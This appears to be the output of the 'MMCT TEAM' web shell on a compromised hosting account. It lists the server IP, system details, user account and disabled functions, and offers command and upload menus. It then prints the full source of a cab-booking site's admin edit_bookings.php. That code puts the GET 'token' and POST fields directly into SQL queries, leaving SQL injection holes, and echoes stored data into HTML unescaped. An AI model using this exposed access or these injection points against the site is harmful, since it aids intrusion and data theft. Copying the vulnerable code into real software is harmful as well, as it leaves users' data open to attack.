MMCT TEAM
Server IP : 82.112.239.40  /  Your IP : 3.145.164.105
Web Server : LiteSpeed
System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
User : u641149403 ( 641149403)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u641149403/domains/cabz4you.com/public_html/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u641149403/domains/cabz4you.com/public_html/admin/edit_bookings.php
<?php

if(isset($_GET['token']))
{
  $token=$_GET['token'];
}
else
{
  header("location:404");
}
require_once 'header.php';
require_once 'navbar.php';

$time_stamp = date('Y-m-d H:i:s');

if($_SERVER["REQUEST_METHOD"] == "POST")
{


  if(isset($_POST['book']))
  {   
    $booking_stops = implode("/", $_POST['booking_stops']);
    $booking_from=test_input($_POST['booking_from']);
    $booking_to=test_input($_POST['booking_to']);
    $extra_requirement = implode(",", $_POST['extra_requirement']);
    $pickup_date=date("Y-m-d",strtotime($_POST['pickup_date']));
    $drop_date=date("Y-m-d",strtotime($_POST['drop_date']));
    $pickup_time=date('H:i',strtotime($_POST['booking_time']));
    $cab_name=test_input($_POST['cab_name']);
    $trip_type=test_input($_POST['trip_type']);
    $amount=test_input($_POST['amount']);
    $incentive=test_input($_POST['incentive']);
    $pickup_address=test_input($_POST['address']);
    $drop_address=test_input($_POST['drop_address']);
    $distance=test_input($_POST['distance']); 
    $night_charge=test_input($_POST['night_charge']);
    $commission=test_input($_POST['commission']);
    $vendor_accepteds=test_input($_POST['vendor_accepted']);
    $user_id=test_input($_POST['user_id']);
    $toll_tax=test_input($_POST['toll']);
    $parking=test_input($_POST['parking']);
    $state_tax=test_input($_POST['state_tax']);
    $remark=test_input($_POST['remark']);
    $extra_price=test_input($_POST['extra_price']);
    $carrier=test_input($_POST['carrier']);
    $driver_app=test_input($_POST['driver_app']);
    $company_booking_type=test_input($_POST['company_booking_type']);
    $company_booking_id=test_input($_POST['company_booking_id']);
    $city=test_input($_POST['city']);
    $package_id=test_input($_POST['package_id']);
    if ($trip_type=='Local') {
      $booking_from=$pickup_address;
      $booking_to=$city;
   }

   $sql = "UPDATE bookings SET
   user_id = '$user_id', 
   booking_from = '$booking_from', 
   booking_to = '$booking_to',
   pickup_date = '$pickup_date', 
   drop_date = '$drop_date', 
   pickup_time = '$pickup_time',
   pickup_address = '$pickup_address', 
   drop_add = '$drop_address', 
   cab_type = '$cab_name',
   trip_type = '$trip_type', 
   price = '$amount',
   incentive = '$incentive',
   admin_commission = '$commission', 
   distance = '$distance', 
   night_charge = '$night_charge',
   parking = '$parking',
   toll_tax = '$toll_tax', 
   state_tax = '$state_tax', 
   extra_price = '$extra_price',
   carrier = '$carrier',
   driver_app = '$driver_app',
   company_booking_type='$company_booking_type', 
   company_booking_id='$company_booking_id', 
   booking_stops='$booking_stops', 
   extra_requirement='$extra_requirement', 
   city='$city', 
   pid='$package_id', 
   remark = '$remark' 
   WHERE id = '$token'";


   if($conn->query($sql))
   {
      $admin_user_id=$_SESSION['session_login'];

      $sql=$conn->query("INSERT INTO user_role_activity(booking_id,user_id,type,created_at) VALUES ('$token','$admin_user_id','Edit Booking','$time_stamp')");
      $success=true;

   }
   else    
   {
      $error=$conn->error;    
   }
}
}
$sql="select * from trips";
$result=$conn->query($sql);
if($result->num_rows>0)
{
 while($row=$result->fetch_assoc())
 {
   $trips[]=$row;
}
}
$sql="select * from cab_types";
$result=$conn->query($sql);
if($result->num_rows>0)
{
 while($row=$result->fetch_assoc())
 {
   $cab_types[]=$row;
}
}


$sql="select name,contact,id from users";
$result=$conn->query($sql);
if($result->num_rows>0)
{
 while($row=$result->fetch_assoc())
 {
   $users[]=$row;
}
}

$sql="select * from bookings where bookings.id=$token";
$result=$conn->query($sql);
if($result->num_rows>0)
{
 $booking=$result->fetch_assoc();
 $Extrarequirement = explode(',',$booking['extra_requirement']);

}

$sql="select * from booking_types";
$result=$conn->query($sql);
if($result->num_rows>0)
{
 while($row=$result->fetch_assoc())
 {
   $booking_types[]=$row;
}
}

$sql="select * from operate_cities";
$result=$conn->query($sql);
if($result->num_rows>0)
{
 while($row=$result->fetch_assoc())
 {
  $operate_city[]=$row;
}
}

$sql="SELECT * FROM package_types WHERE parent_id=0";
$result1=$conn->query($sql);
if($result1->num_rows>0)
{
 while($row=$result1->fetch_assoc())
 {
   $packages[]=$row;
}
}

$sql="select * from profiles";
$result=$conn->query($sql);
if($result->num_rows>0)
{
  $profile_data=$result->fetch_assoc();
}
?>             

<div class="container-fluid pt-8">
  <div class="page-header mt-0 shadow p-4">
    <h3 class="mb-sm-0"> Edit Booking</h3>
    <ol class="breadcrumb mb-0">
      <li class="breadcrumb-item"><a href="#"><i class="fe fe-home"></i></a></li>
      <li class="breadcrumb-item active" aria-current="page">Edit Booking</li>
   </ol>
</div>
</div>  

<?php
if(isset($success))
{
  ?>
  <div class="alert alert-success" id="success" >Success! Your Request has been submited.</div>
  <?php
}
else if(isset($error))
{
  ?>
  <div class="alert alert-danger" id="success" ><?=$error;?></div>
  <?php
}
?>
<div class="alert alert-success" id="success" style="display:none">Success! Your Request has been submited.</div>

<div class="card shadow">
   <div class="card-header">
      <h2 class="mb-0">Edit Bookings Now </h2>
   </div>
   <form id="cab_book" method="post" >
      <div class="card-body">
         <div class="row">
          <div class="col-md-4">
            <div class="form-group">
               <label>Customer</label>
               <select class="form-control select2" name="user_id" required>
                  <?php foreach($users as $user){ ?>
                     <option value="<?=$user['id']?>" <?php if($booking['user_id']==$user['id']){echo 'selected';} ?>><?=$user['name']?> - <?=$user['contact']?></option>
                  <?php } ?>
               </select>
            </div>
         </div>

         <div class="col-md-4">
            <div class="form-group">
             <label>Cab Type</label>
             <select class="form-control select2 w-100"  name="cab_name">
              <?php
              if(isset($cab_types))
              {
                 foreach($cab_types as $cab)
                 {
                  ?>
                  <option value="<?=$cab['type'];?>" <?php if($booking['cab_type']==$cab['type']){echo 'selected';} ?>><?=$cab['type']?></option>
                  <?php
               }
            }
            ?>
         </select>
      </div>
   </div>
   <div class="col-md-4">
    <div class="form-group">
     <label>Trip Type</label>
     <select class="form-control w-100" onchange="tripType(this.options[this.selectedIndex].id, this.value);" name="trip_type"> 
       <?php
       if (isset($packages)) {
        foreach ($packages as $package) {
         ?>
         <option value="<?= $package['type']; ?>" id="<?= $package['id']; ?>" <?php if($booking['trip_type']==$package['type']){echo 'selected';} ?>><?= $package['type'] ?></option>
         <?php
      }
   }
   ?>
</select>

</div>
</div>
<div class="col-md-4 package_display_none">
 <div class="form-group">
  <label>Select City</label>
  <select class="form-control select2 w-100" name="city">
   <?php
   if(isset($operate_city))
   {
      foreach($operate_city as $city)
      {
       ?>
       <option value="<?=$city['city'];?>" <?php if($booking['city']==$city['city']){echo 'selected';} ?>><?=$city['city']?></option>
    <?php } } ?>
 </select>
</div>
</div>
<div class="col-md-4 package_display_none">
 <div class="form-group">
  <label>Select Package</label>
  <select class="form-control select2 w-100" name="package_id" id="package_type">

  </select>
</div>
</div>

</div>
<div class="row round_list display_none">
   <div class="col-md-4">
      <div class="form-group">
         <label>From</label>
         <input id="startaddress" class="form-control" type="text" name="booking_from" value="<?=$booking['booking_from'];?>" placeholder="From">
      </div>

   </div>
   <div class="col-md-4">
    <div class="form-group">
     <label>To <button type="button" class="add_field_button">Add Field</button></label>
     <input id="endaddress" class="form-control" name="booking_to" type="text" value="<?=$booking['booking_to'];?>" placeholder="To" >
  </div>
</div>

<?php
$i=1;
if (!empty($booking['booking_stops'])) {
 $booking_stop=explode('/', $booking['booking_stops']);
 $totalstops= count($booking_stop);
 foreach($booking_stop as $booking_s){ ?>

  <div class="col-md-4">
   <div class="form-group">
    <label>Booking Stops</label>
    <input id="bookingstops<?=$i;?>" class="form-control" type="text" name="booking_stops[]" value="<?=$booking_s;?>" placeholder="From">
 </div>
</div>

<?php $i++; } } ?>
</div>

<div class="row">
   <div class="col-md-4">
      <div class="form-group">
         <label>Pickup Address</label>
         <div class="input-group ">

            <input class="form-control" id="pickup_address" name="address" placeholder="Pickup address" value="<?=$booking['pickup_address'];?>" type="text" >
         </div>
      </div>
   </div>

   <div class="col-md-2">
      <div class="form-group">
         <label>Pick up Date</label>
         <div class="input-group ">
            <div class="input-group-prepend">
               <span class="input-group-text"><i class="ni ni-calendar-grid-58"></i></span>
            </div>
            <input class="form-control" type="date" value="<?=$booking['pickup_date'];?>" min="<?=date('Y-m-d')?>"  name="pickup_date" required>
         </div>
      </div>
   </div>

   <div class="col-md-2" id="drop">
      <div class="form-group">
         <label>Drop Date</label>
         <div class="input-group ">
            <div class="input-group-prepend">
               <span class="input-group-text"><i class="ni ni-calendar-grid-58"></i></span>
            </div>
            <input class="form-control" type="date" value="<?=$booking['drop_date'];?>" min="<?=date('Y-m-d')?>" name="drop_date">
         </div>
      </div>
   </div>

   <div class="col-md-2">
      <div class="form-group">
         <label>Pick Up Time</label>
         <div class="input-group ">
            <div class="input-group-prepend">
               <span class="input-group-text"><i class="fa fa-clock"></i></span>
            </div>
            <input class="form-control" name="booking_time"  value="<?=$booking['pickup_time'];?>" placeholder="Select Time" type="time" required>
         </div>
      </div>
   </div>
   <div class="col-md-2">
      <div class="form-group">
         <label>Amount</label>
         <div class="input-group ">

            <input class="form-control" id="amountInput" name="amount" placeholder="Enter Amount"  value="<?=$booking['price'];?>" type="number" >
         </div>
      </div>
   </div>
   <div class="col-md-2">
      <div class="form-group">
         <label>Incentive</label>
         <div class="input-group ">

            <input type="number" class="form-control" name="incentive" placeholder="Enter Incentive" value="<?=$booking['incentive'];?>">
         </div>
      </div>
   </div>

   <div class="col-md-2">
      <div class="form-group">
         <label>Commission Amount</label>
         <div class="input-group ">
            <input class="form-control" id="admin_commission" name="commission" value="<?=$booking['admin_commission'];?>" placeholder="Commission amount" type="number" >
         </div>
      </div>
   </div>

   <div class="col-md-2">
      <div class="form-group">
         <label>Distance (Km)</label>
         <div class="input-group ">
            <input class="form-control " name="distance" value="<?=$booking['distance'];?>" placeholder="Distance" type="number" required>
         </div>
      </div>
   </div>

   <div class="col-md-2">
      <div class="form-group">
         <label>Night Charge</label>
         <div class="input-group ">
            <input class="form-control " name="night_charge" value="<?=$booking['night_charge'];?>" placeholder="Night Charge" type="number">
         </div>
      </div>
   </div>
   <div class="col-md-2 mt-20">
     <div class="form-group">
        <label>Parking</label>
        <select class="form-control w-100 valid" name="parking">
         <?php
         if($booking['parking']==0)
         {
           ?>
           <option value="0">Including</option>
           <option value="1">Excluding</option>
           <?php
        }
        else
        {
           ?>
           <option value="1">Excluding</option>
           <option value="0">Including</option>
           <?php
        }
        ?>
     </select>
  </div>
</div>
<div class="col-md-2 mt-20">
   <div class="form-group">
      <label>State Tax</label>
      <select class="form-control w-100" name="state_tax" required>
         <?php
         if($booking['state_tax']==1)
         {
           ?>
           <option value="1">Excluding</option>
           <option value="0">Including</option>
           <?php
        }
        else
        {
           ?>
           <option value="0">Including</option>
           <option value="1">Excluding</option>
           <?php
        }
        ?>


     </select>
  </div>
</div>



<div class="col-md-2">
   <div class="form-group">
      <label>Toll Tax</label>
      <select class="form-control w-100"  name="toll" required>

        <?php
        if($booking['toll_tax']==1 || $booking['toll_tax']=='')
        {
          ?> 
          <option value="1">Excluding</option>
          <option value="0">Including</option>
          <?php
       }
       else
       {
          ?>
          <option value="0">Including</option>
          <option value="1">Excluding</option>
          <?php
       }
       ?>  

    </select>
 </div>
</div>

<div class="col-md-2">
  <div class="3-group">
     <label>Carrier</label>
     <select class="form-control w-100"  name="carrier" >
        <option value="0" <?php if($booking['carrier']==0){ echo 'selected';}?>>No</option>
        <option value="1" <?php if($booking['carrier']==1){ echo 'selected';}?>>Yes</option>
     </select>
  </div>
</div>
<div class="col-md-3">
  <div class="3-group">
     <label>Driver App/Non App</label>
     <select class="form-control w-100" name="driver_app" >
        <option value="">Driver Non App</option>
        <option value="Use Driver App" <?php if($booking['driver_app']!=''){ echo 'selected';}?>>Driver App</option>
     </select>
  </div>
</div>

<div class="col-md-2">
   <div class="form-group">
      <label>Extra Price</label>
      <div class="input-group ">
         <input class="form-control " name="extra_price" placeholder="Extra Price" value="<?=$booking['extra_price'];?>" type="number">
      </div>
   </div>
</div>


<div class="col-md-3">
 <div class="form-group">
  <label>Booking Type</label>
  <select class="form-control select2 w-100"  name="company_booking_type" >
   <option value="">Select Booking Type</option>
   <?php
   if(isset($booking_types))
   {
      foreach($booking_types as $btype)
      {
       ?>
       <option value="<?=$btype['title'];?>" <?php if($booking['company_booking_type']==$btype['title']){ echo 'selected';}?>><?=$btype['title']?></option>
       <?php
    }
 }
 ?>
</select>
</div>
</div>
<div class="col-md-2">
  <div class="form-group">
     <label>Booking ID</label>
     <div class="input-group ">
        <input type="text" class="form-control" name="company_booking_id" placeholder="Booking ID" value="<?=$booking['company_booking_id'];?>">
     </div>
  </div>
</div>
<div class="col-md-4">
 <div class="form-group">
  <label>Extra Requirement</label>
  <select class="form-control select2 w-100" multiple name="extra_requirement[]">
   <option value="Diesel" <?php if (in_array("Diesel", $Extrarequirement)){echo 'selected';}?>>Diesel</option>
   <option value="Petrol" <?php if (in_array("Petrol", $Extrarequirement)){echo 'selected';}?>>Petrol</option>
   <option value="CNG" <?php if (in_array("CNG", $Extrarequirement)){echo 'selected';}?>>CNG</option>
</select>
</div>
</div>

<div class="col-md-4">
   <div class="form-group">
      <label>Remark</label>
      <div class="input-group ">
         <input class="form-control " name="remark" placeholder="Remark" value="<?=$booking['remark'];?>" type="text">
      </div>
   </div>
</div>


<div class="col-md-12">
   <br>
   <div class="form-group">
      <button class="btn btn-icon btn-info mt-1 mb-1"   type="submit" name="book">
         <span class="btn-inner--icon">
            <span class="btn-inner--text">Book Now</span>
         </button>
      </div>
   </div>
</div>
</div>
</form>
</div>

<?php 
require_once 'footer.php';
require_once 'jslinks.php';
?>

<script src="https://maps.google.com/maps/api/js?key=<?=$google_key?>&libraries=places&callback=initAutocomplete" type="text/javascript"></script>
<script>
   function AutoComplete() {

     var options = {
        types:'cities',
        componentRestrictions: {country: "in"}
     };

     var options2 = {
        types:'cities',
        componentRestrictions: {country: "in"}
     };
           //=============Input Fields 1 and Select it========
     var input1 = document.getElementById('startaddress');
      //===============adding google location search event=================
     new google.maps.places.Autocomplete(input1,options);

           //=============Input Fields 2 and Select it========
     var input2 = document.getElementById('endaddress');
      //===============adding google location search event=================
     new google.maps.places.Autocomplete(input2,options);

           //=============Input Fields 2 and Select it========
     var input3 = document.getElementById('pickup_address');
      //===============adding google location search event=================
     new google.maps.places.Autocomplete(input3,options2);

          //=============Input Fields 4 and Select it========
     var input4 = document.getElementById('drop_address');
      //===============adding google location search event=================
     new google.maps.places.Autocomplete(input4,options2);
  }

  google.maps.event.addDomListener(window, 'load', AutoComplete);


  function tripType(id,str)
  {
     if(str=='One Way')
     {
       $('.package_display_none').hide();
       $('.display_none').show();
       $('#drop').hide();
    }else if(str=="Local"){
       $('.display_none').hide();
       $('#drop').hide();
       $('.package_display_none').show();
       var select = $('#package_type'); 
       var selected = ''; 
       $.ajax({
         url: "fetch_package_types.php",
         method: "POST",
         data: { trip_id: id },  
         dataType: "json",
         success: function(data) {
           select.empty();
           select.append('<option value="">Select an option</option>');

           $.each(data, function(index, value) {
             selected = ('<?=$booking['pid']?>' == value.type) ? 'selected' : '';
             select.append('<option value="' + value.type + '" ' + selected + '>' + value.type + '</option>');
          });
        },
        error: function(xhr, status, error) {
           console.error("Error fetching data:", error);
        }
     });


    }else{
       $('.package_display_none').hide();
       $('.display_none').show();
       $('#drop').show();
    }
 }
</script>

MMCT - 2023